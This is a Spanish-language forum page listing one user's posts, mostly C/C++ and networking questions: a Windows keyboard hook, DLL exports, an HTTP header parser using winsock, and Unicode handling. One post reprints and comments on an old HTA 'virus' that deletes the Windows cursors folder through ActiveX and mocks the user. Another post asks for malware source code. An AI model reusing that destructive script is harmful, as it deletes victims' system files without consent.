elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recopilación Tutoriales y Manuales Hacking, Seguridad, Privacidad, Hardware, etc


  Mostrar Temas
Páginas: 1 2 3 4 5 6 7 [8] 9 10 11 12 13 14 15
71  Comunicaciones / Redes / Biblia del servidor apache 2 en: 4 Enero 2015, 18:52 pm
Hola primero no se si este tema va aqui pero quiero aprender a usar bien apache con sus configuraciones. Me descargue en pdf el libro http://3.bp.blogspot.com/_Did1kKBiK4Y/S7pnX_AnHCI/AAAAAAAAAIU/1PslCrl3yaY/s400/cover.jpg

Pero me parece un poco antiguo 2005. Esta bien leérselo o me recomendáis otra cosa para aprender ? La documentación de su pagina oficial esta bien o hay algo mejor?

Saludos
72  Programación / Programación C/C++ / Keyboard hook windows desde dll en: 31 Diciembre 2014, 16:59 pm
Hola quiero poner un hook al teclado y he hecho esto:

Código
  1. #include <Windows.h>
  2. #include <iostream>
  3. #include <vector>
  4.  
  5. using namespace std;
  6.  
  7.  
  8. int main(){
  9. HINSTANCE library = LoadLibrary("dll_hook.dll");
  10. if (library){
  11. cout << "ok";
  12. }
  13.  
  14. HOOKPROC cellback = (HOOKPROC)GetProcAddress(library, "hookProc");
  15.  
  16.  
  17.  
  18. HHOOK hhook = SetWindowsHookEx(
  19. WH_KEYBOARD_LL,
  20. cellback,
  21. library,
  22. 0);
  23. if (hhook == NULL){
  24. int a = GetLastError();
  25. cout << "Error";
  26. }
  27. else{
  28. cout << "Done!";
  29. }
  30.  
  31. getchar();
  32.  
  33. return 0;
  34. }

Y la dll:

Código
  1. #include "hookProc.h"
  2. #include <Windows.h>
  3. #include <iostream>
  4.  
  5. using namespace std;
  6.  
  7. extern "C"{
  8. LRESULT  __declspec(dllexport) hookProc(int code, WPARAM wparam, LPARAM lparam){
  9. cout << code;
  10. cout << wparam;
  11. cout << lparam;
  12. if (code < 0){
  13. return CallNextHookEx(0, code, wparam, lparam);
  14. }
  15. else if (code >= 0){
  16. if (wparam == VK_LBUTTON){
  17. cout << "Left button pressed!" << endl;
  18. }
  19.  
  20. }
  21. return CallNextHookEx(0, code, wparam, lparam);
  22. }
  23. }

Me muestra ok y done pero luego al presionar una tecla la aplicación deja de responder y tengo que cerrar la.
Me pueden ayudar ?

Saludos
73  Programación / Programación C/C++ / Crear dll dinamicos en: 29 Diciembre 2014, 01:54 am
Estoy intentando hacer un dll para después poder utilizar su función.

Desde visual studio 2013 creo nuevo proyecto de consola win32 vació. Luego le agrego un archivo hpp y cpp. Compilo. Me sale el dll.

Creo otro proyecto y lo intento cargar con:
Código
  1. #include <Windows.h>
  2. #include <iostream>
  3.  
  4. using namespace std;
  5.  
  6. typedef void(* F)();
  7.  
  8. #pragma comment(lib,"dll_test1.lib")
  9.  
  10.  
  11. int main(){
  12. HMODULE library = LoadLibraryA("dll_test1.dll");
  13. if (library){
  14. cout << "ok";
  15. }
  16. F ptr = (F)GetProcAddress(library, "sumar");
  17.  
  18.  
  19. (*ptr)();
  20.  
  21. getchar();
  22.  
  23. return 0;
  24. }

Me carga bien la library pero luego me sale error al intentar utilizar la función.
Con Alternate DLL Analyzer vi que en la dll no hay funciones.
Que hago mal?

Saludos

@Edit: Los codigo del dll

dll_test.hpp
Código
  1. __declspec (dllexport) void sumar();
dll_test.cpp
Código
  1. #include <iostream>
  2. __declspec(dllexport) void sumar(){
  3. std::cout << "Functiona!";
  4. }
74  Foros Generales / Foro Libre / Sony PlayStation Network y Xbox Live DDoS atack en: 26 Diciembre 2014, 23:06 pm
Hola quiero compartir esto:
Ahora mismo no se puede jugar a la play por un ataque DDoS hacia los servidores.

http://www.theverge.com/2014/12/25/7449471/xbox-live-and-playstation-network-are-having-problems-on-christmas-day

También leí que el creador de Mega había regalado cuentas premium a los cibercriminales, llamados "hackers" de por vida: https://twitter.com/KimDotcom/status/548305704776241152/photo/1
Esto me suena muy raro. No veo que tiene que ver mega con sony.

Que opinan?

Saludos
75  Programación / Programación C/C++ / Mi clase HTTP + winsock peticion HTTP ejemplo en: 26 Diciembre 2014, 18:08 pm
Hola acabo de hacer una clase para organizar mas o menos el header de una peticion HTTP. Como esto:

Citar
HTTP/1.1 200 OK\r\n
Date: Mon, 23 May 2005 22:38:34 GMT\r\n
Server: Apache/1.3.3.7 (Unix) (Red-Hat/Linux)\r\n
Last-Modified: Wed, 08 Jan 2003 23:11:55 GMT\r\n
ETag: "3f80f-1b6-3e1cb03b"\r\n
Content-Type: text/html; charset=UTF-8\r\n
Content-Length: 131\r\n
Connection: close\r\n
\r\n

HTTP_class.hpp
Código
  1. #ifndef HTTP_CLASS_HPP
  2. #define HTTP_CLASS_HPP
  3.  
  4. #include <string>
  5. #include <ctime>
  6. #include <vector>
  7.  
  8. using namespace std;
  9.  
  10.  
  11. //CLASS STATE
  12. #define SETUP_OK 1
  13. #define SETUP_NEED 2
  14. #define INVALID_HEADER 3
  15.  
  16.  
  17. //HTTP CODES
  18.  
  19. //Informational
  20. #define H_Continue 100
  21. #define H_Switching_Protocols 101
  22. #define H_Processing 102
  23.  
  24. //Success
  25. #define H_OK 200
  26. #define H_Created 201
  27. #define H_Accepted 202
  28. #define H_Non_Authoritative_Information 203
  29. #define H_No_Content 204
  30. #define H_Reset_Content 205
  31. #define H_Partial_Content 206
  32. #define H_Multi_Status 207
  33. #define H_Already_Reported 208
  34. #define H_IM_Used 226
  35.  
  36. //Redirection
  37. #define H_Multiple_Choices 300
  38. #define H_Moved_Permanently 301
  39. #define H_Found 302
  40. #define H_See_Other 303
  41. #define H_Not_Modified 304
  42. #define H_Use_Proxy 305
  43. #define H_Switch_Proxy 306
  44. #define H_Temporary_Redirect 307
  45. #define H_Permanent_Redirect 308
  46.  
  47. //Client Error
  48. #define H_Bad_Request 400
  49. #define H_Unauthorized 401
  50. #define H_Payment_Required 402
  51. #define H_Forbidden 403
  52. #define H_Not_Found 404
  53. #define H_Method_Not_Allowed 405
  54. #define H_Not_Acceptable 406
  55. #define H_Proxy_Authentication_Required 407
  56. #define H_Request_Timeout 408
  57. #define H_Conflict 409
  58. #define H_Gone 410
  59. #define H_Length_Required 411
  60. #define H_Precondition_Failed 412
  61. #define H_Request_Entity_Too_Large 413
  62. #define H_Request_URI_Too_Long 414
  63. #define H_Unsupported_Media_Type 415
  64. #define H_Requested_Range_Not_Satisfiable 416
  65. #define H_Expectation_Failed 417
  66. #define H_Im_a_teapot 418
  67. #define H_Authentication_Timeout 419
  68. #define H_Method_Failure 420
  69. #define Enhance_Your_Calm 420
  70. #define H_UnprocessableEntity 422
  71. #define H_Locked 423
  72. #define H_Failed_Dependency 424
  73. #define H_Upgrade_Required 426
  74. #define H_Precondition_Required 428
  75. #define H_Too_Many_Requests 429
  76. #define H_Request_Header_Fields_Too_Large 431
  77. #define H_Login_Timeout 440
  78. #define H_No_Response 444
  79. #define H_Retry_With 449
  80. #define H_Blocked_by_Windows_Parental_Controls 450
  81. #define H_Unavailable_For_Legal_Reasons 451
  82. #define H_Redirect 494
  83. #define H_Request_Header_Too_Large 495
  84. #define H_Cert_Error 496
  85. #define H_No_Cert 497
  86. #define H_HTTP_to_HTTPS 498
  87. #define H_Token_expired_invalid 499
  88. #define H_Client_Closed_Request 499
  89. #define H_Token_required 499
  90.  
  91.  
  92.  
  93. //class ContentType{
  94. //public:
  95. // string type;
  96. // string charset;
  97. //};
  98.  
  99.  
  100. class HTTP{
  101. public:
  102. HTTP();
  103. HTTP(string header);
  104. bool setup(string header);
  105. int Code();//HTTP status
  106. const int State();//class status
  107. tm Date();
  108. string Server();
  109. tm Last_Modified();
  110. string ETag();
  111. string Content_Type();
  112. int Content_Lenght();
  113. string Connection();
  114.  
  115. string Other(string name);
  116. vector<string> Other(int i);
  117.  
  118. //helpful functions
  119. double HTTPVersion();
  120. int Size();//Size of fields
  121.  
  122.  
  123. private:
  124. int state;//Already setup?
  125.  
  126. int code;
  127. tm date;
  128. string server;
  129. tm last_modified;
  130. string etag;
  131. string content_type;
  132. int content_length;
  133. string header;
  134. string connection;
  135.  
  136. vector < vector<string> > all; //all fields
  137.  
  138. //helpful data
  139. double version;
  140.  
  141. //Config functions
  142. tm getDate(string date);
  143. void defaultConfig();
  144. };
  145.  
  146.  
  147. vector<string> split(string full, string part); //helpful function
  148.  
  149.  
  150. #endif

HTTP_class.cpp
Código
  1. #include "http_class.hpp"
  2. #include <regex>
  3.  
  4. HTTP::HTTP(){
  5. defaultConfig();
  6. }
  7.  
  8. HTTP::HTTP(string header){
  9. defaultConfig();
  10. setup(header);
  11. }
  12.  
  13.  
  14. string HTTP::Other(string name){
  15. for (int i = 0; i < all.size(); i++){
  16. if (all[i][0] == name){
  17. return all[i][1];
  18. }
  19. }
  20. return "";
  21. }
  22. vector<string> HTTP::Other(int i){
  23. if (i < all.size())
  24. return all[i];
  25. else
  26. return vector<string>();
  27. }
  28.  
  29.  
  30. bool HTTP::setup(string header){
  31. vector<string> parts = split(header, "\r\n");
  32.  
  33. //all setup
  34. for (int i = 1; i < parts.size(); i++){
  35. all.push_back(split(parts[i],": " ));
  36. }
  37. all.pop_back();          // remove last 2 \r\n of the end of http protocol
  38. all.pop_back();          //
  39. //end
  40. if (all.size() < 1){ //Nothing founded
  41. state = INVALID_HEADER;
  42. return false;
  43. }
  44.  
  45. //http setup
  46. string v = parts[0].substr(5, 3);
  47. version = atof(v.c_str());
  48. code = atoi(parts[0].substr(8, 4).c_str());
  49. //end
  50. date = getDate(Other("Date"));
  51. server = Other("Server");
  52. last_modified = getDate(Other("Last-Modified"));
  53. etag = Other("ETag");
  54. content_type = Other("Content-Type");//Mejores en 2.0
  55. content_length = atoi(Other("Content-Length").c_str());
  56. connection = Other("Connection");
  57. state = SETUP_OK;
  58. return true;
  59. }
  60.  
  61.  
  62. int HTTP::Code(){
  63. return code;
  64. }
  65.  
  66. const int HTTP::State(){
  67. return state;
  68. }
  69.  
  70. tm HTTP::Date(){
  71. //Example of check
  72. if (date.tm_year != 0 && state == SETUP_OK){ // if == 0 no date in header
  73. return date;
  74. }
  75. }
  76. string HTTP::Server(){
  77. return server;
  78. }
  79. tm HTTP::Last_Modified(){
  80. return last_modified;
  81. }
  82. string HTTP::ETag(){
  83. return etag;
  84. }
  85. string HTTP::Content_Type(){
  86. return content_type;
  87. }
  88. int HTTP::Content_Lenght(){
  89. return content_length;
  90. }
  91. string HTTP::Connection(){
  92. return connection;
  93. }
  94.  
  95.  
  96. //Helpful functions
  97. double HTTP::HTTPVersion(){
  98. return version;
  99. }
  100. int HTTP::Size(){
  101. return all.size();
  102. }
  103.  
  104.  
  105.  
  106. tm HTTP::getDate(string _date){ //Get date in tm format for example in Date or Last-Modified
  107. tm date = tm();
  108. if (_date.size() > 0){
  109. const static string months[] = {
  110. "Jan", "Feb", "Mar", "Apr", "May", "Jun",
  111. "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"
  112. };
  113. smatch match;
  114. if (_date.find("GMT") != -1){ // New format
  115. if (regex_search(_date, match, regex("^\\w{3,9},\\s(\\d{2})[\\s\\-](\\w{3})[\\s\\-](\\d{2,4})\\s(\\d{2}):(\\d{2}):(\\d{2}) GMT$"))){
  116. date.tm_mday = atoi(match[1].str().c_str());
  117. int month;
  118. for (int i = 0; i < sizeof(months); i++){
  119. if (months[i] == match[2].str()){
  120. month = i;
  121. break;
  122. }
  123. }
  124. date.tm_mon = month;
  125. int year = atoi(match[3].str().c_str());
  126. if (year > 1900)
  127. year -= 1900;
  128. date.tm_year = year;
  129. date.tm_hour = atoi(match[4].str().c_str());
  130. date.tm_min = atoi(match[5].str().c_str());
  131. date.tm_sec = atoi(match[6].str().c_str());
  132. }
  133. }
  134. else{ //Old ANSI format
  135. if (regex_search(_date, match, regex("^\\w{3} (\\w{3})  (\\d{1,2}) (\\d{2}):(\\d{2}):(\\d{2}) (\\d{4})$"))){
  136. int month;
  137. for (int i = 0; i < sizeof(months); i++){
  138. if (months[i] == match[1].str()){
  139. month = i;
  140. break;
  141. }
  142. }
  143. date.tm_mday = atoi(match[2].str().c_str());
  144. date.tm_hour = atoi(match[3].str().c_str());
  145. date.tm_min = atoi(match[4].str().c_str());
  146. date.tm_sec = atoi(match[5].str().c_str());
  147. date.tm_year = atoi(match[6].str().c_str());
  148. }
  149. }
  150. }
  151. return date;
  152. }
  153.  
  154.  
  155. void HTTP::defaultConfig(){ //Set some values help to don't check state in every function
  156. state = SETUP_NEED;
  157. code = 0;
  158. version = 0;
  159. content_length = 0;
  160.  
  161. }
  162.  
  163.  
  164.  
  165. //split string in vector
  166.  
  167. vector<string> split(string full, string part){
  168. vector<string> parts;
  169. int last = 0;
  170. int p;
  171. while ((p = full.find(part, last)) != -1){
  172. parts.push_back(full.substr(last, p - last));
  173. last = p + part.size();
  174. }
  175. parts.push_back(full.substr(last, full.size()));
  176. return parts;
  177. }

Ejemplo conexión http con win sockets
Código
  1. #include <iostream>
  2. #include <string>
  3. #include <vector>
  4. #include <WinSock2.h>
  5. #include "http_class.hpp"
  6.  
  7. #pragma comment(lib,"ws2_32.lib")
  8.  
  9. using namespace std;
  10.  
  11. #define SIZE 1024
  12.  
  13. int main(){
  14. WSADATA wsadata;
  15. WSAStartup(MAKEWORD(2, 2), &wsadata);
  16. char buffer[SIZE];
  17.  
  18.  
  19.  
  20. vector<vector<string>>links = { //Random urls
  21. { "foro.elhacker.net", "/throw 403 error" },
  22. { "foro.elhacker.net", "/throw_302_error" },
  23. { "www.google.es", "/" },
  24. { "foro.elhacker.net", "/ingenieria_inversa-b26.0/" }
  25. };
  26.  
  27.  
  28. hostent * host;
  29. in_addr ip;
  30. sockaddr_in data;
  31. string request;
  32.  
  33. for (int i = 0; i < links.size(); i++){
  34. host = gethostbyname(links[i][0].c_str());
  35. ip.s_addr = *(long * )host->h_addr_list[0];
  36.  
  37.  
  38. SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  39. if (sock == INVALID_SOCKET){
  40. cout << "Invalid socket";
  41. return 1;
  42. }
  43.  
  44. memset(&data, 0, sizeof(sockaddr_in));
  45. data.sin_addr = ip;
  46. data.sin_family = AF_INET;
  47. data.sin_port = htons(80);
  48.  
  49. if(connect(sock, (sockaddr*)&data, sizeof(sockaddr_in))){
  50. cout << "Connection with " << inet_ntoa(ip) << " failed.";
  51. return 1;
  52. }
  53.  
  54.  
  55. request = "GET " + links[i][1] + " HTTP/1.0\r\n";
  56. request += "Host: " + links[i][0] + "\r\n";
  57. request += "\r\n";
  58.  
  59. if (send(sock, request.c_str(), request.size(), 0) != request.size()){
  60. cout << "Send error";
  61. return 1;
  62. }
  63.  
  64. //Accept
  65. char buffer[SIZE];
  66. int lastBytes = SIZE - 1;//bytes recerved
  67. string response;
  68. while (lastBytes > 0){
  69. lastBytes = recv(sock, buffer, sizeof(buffer), 0);
  70. if (lastBytes > 0)
  71. response += string(buffer).substr(0, lastBytes);
  72. }
  73. string header = response.substr(0, response.find("\r\n\r\n") + 4);
  74.  
  75. HTTP http(header);
  76. //    or
  77. //http.setup(header);
  78. cout << "Host: " << links[i][0] << endl;
  79. cout << "HTTP version: " << http.HTTPVersion() << endl;
  80. if (http.Code() == H_Not_Found){
  81. cout << "Path: " << links[i][1] << " wasn't founded";
  82. }
  83. else if (http.Code() == H_Forbidden){
  84. cout << "Server Forbidden message";
  85. if (http.Other("Location").size() > 0){//Location field
  86. cout << " to " << http.Other("Location");
  87. }
  88. }
  89. else{
  90. cout << "Status code: " << http.Code();
  91. }
  92. cout << "\n\nAll fields: \n";
  93. for (int i = 0; i < http.Size(); i++){
  94. cout << http.Other(i)[0] << ": " << http.Other(i)[1] << endl;
  95. }
  96. cout << endl << endl;
  97.  
  98. }
  99.  
  100.  
  101. fflush(stdin);
  102. getchar();
  103. return 0;
  104. }

Descargar ejemplo: http://pruebasdephp.hol.es/things/HTTP_class.rar
Probado en visual studio 2013



Si me pueden dar ideas de que puedo mejorar o si tienen alguna duda  :D

Saludos
76  Seguridad Informática / Análisis y Diseño de Malware / Trojan.JS.Cursor en: 24 Diciembre 2014, 10:33 am
Hola me descargue un pack con muchos troyanos virus etc.. y ahora los estoy analizando.
Código
  1. [code=javascript]<HTML>
  2.  
  3. <TITLE>Virus</TITLE>
  4.  
  5. <script language="JScript">
  6.  
  7. var fs = new ActiveXObject("Scripting.FileSystemObject");
  8. var a = fs.DeleteFolder("c:\\windows/cursors");
  9.  
  10.  
  11. <HTA:APPLICATION
  12.       ID="oHTA"
  13.       APPLICATIONNAME="ComplexHTA"
  14.       CAPTION="yes"
  15.       ICON="ComplexHTA.ico"
  16.       MAXIMIZEBUTTON="no"
  17.       MINIMIZEBUTTON="no"
  18.       SHOWINTASKBAR="no"
  19.       SINGLEINSTANCE="no"
  20.       SYSMENU="no"
  21.       VERSION="1.0"
  22.       WINDOWSTATE="normal">
  23.  
  24. <script language="javascript">
  25.  
  26. var message="Now Hang On Here!";
  27.  
  28. function click(e) {
  29. if (document.all) {
  30. if (event.button == 2) {
  31. alert(message);
  32. return false;
  33. }
  34. }
  35. if (document.layers) {
  36. if (e.which == 3) {
  37. alert(message);
  38. return false;
  39. }
  40. }
  41. }
  42. if (document.layers) {
  43. document.captureEvents(Event.MOUSEDOWN);
  44. }
  45. document.onmousedown=click;
  46.  
  47.  
  48. </HEAD>
  49.  
  50. <BODY BGCOLOR="000000" TEXT="FFFFFF" LINK="6BC8F2" VLINK="6BC8F2" ALINK="6BC8F2">
  51.  
  52. <BR>
  53. <BR>
  54. <BR>
  55.  
  56. <CENTER>Congratulations!</CENTER>
  57.  
  58. <P>
  59.  
  60. <center><BUTTON onclick="self.close()">Click Here To Close
  61.  
  62.  
  63. </HTML>
  64.  
[/code]

Supongo que sera muy muy antiguo porque:

Código
  1. var fs = new ActiveXObject("Scripting.FileSystemObject");
  2. var a = fs.DeleteFolder("c:\\windows/cursors");

Borra la carpeta cursors así sin mas y luego se burla de que no puede pulsar el botón para salir  ;D
Que os parece?
77  Seguridad Informática / Hacking / Codigos fuentes de virus en c++ en: 22 Diciembre 2014, 20:09 pm
Hola donde puedo encontrar el codigo fuente de cualquier tipo de virus,malware, troyano, bootnet etc...  Pero que sea en c/c++ y no por ejemplo en visual basic que si que hay muchos. Si habeis creado vosotros alguno y queréis compartir lo  :D

Saludos
78  Seguridad Informática / Hacking Wireless / CommView 7.0 error en windows 8.1 64 bits (Solucionado) en: 22 Diciembre 2014, 18:25 pm
Hola tengo instalado commview 7.0 en mi windows 8.1 64 bits pero recibo el siguiente error al ejecutarlo empezar a capturar y al cabo de poco tiempo aparece:

Citar
Cannot access c:\ for reading

Por google no encuentro nada. Me podéis ayudar pls

Saludos
79  Programación / Programación C/C++ / Problema con unicode ansi utf wide characters... en: 22 Diciembre 2014, 14:30 pm
Hola tengo lo siguiente:
Código
  1.    string text = ui->path->text().toUtf8().constData();
  2.    if(PathFileExists(text))
Estoy intentando hacer lo desde qt creator. En visual studio utilizo multibyte y no tengo problemas pero en qt no se como cambiar a multibyte y estoy con utf-8.

El macro L (si se un macro) no esta definido, con reinterpret_cast<LPCWSTR>(text); me salen caracteres chinos. Me podéis explicar con mas detalles los caracteres unicode ansi utf.. y los widechar que estoy muy liado  ;D Se que los wchar_t normalmente son utf-16 en windows y utf-32 en linux pero a su vez si utilizo utf-16 como formato para el archivo igualmente me pide para convertir.

Cualquier ayuda se agradece

Saludos
80  Comunicaciones / Redes / Subidas de red en momentos en: 21 Diciembre 2014, 01:36 am
Hola tengo un windows 8.1 con router adls y me pasan cosas raras con mi conexión.
Cuando juego de repente se me sube el ping mucho mas de lo normal y en 30 segundos se me arregla. También si veo vídeos o descargo algo. Como si alguien usa mi conexión.

Puede ser que tenga un troyano para ataques ddos o simplemente se una perdida de señal? Antes no me pasaba.
Páginas: 1 2 3 4 5 6 7 [8] 9 10 11 12 13 14 15
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines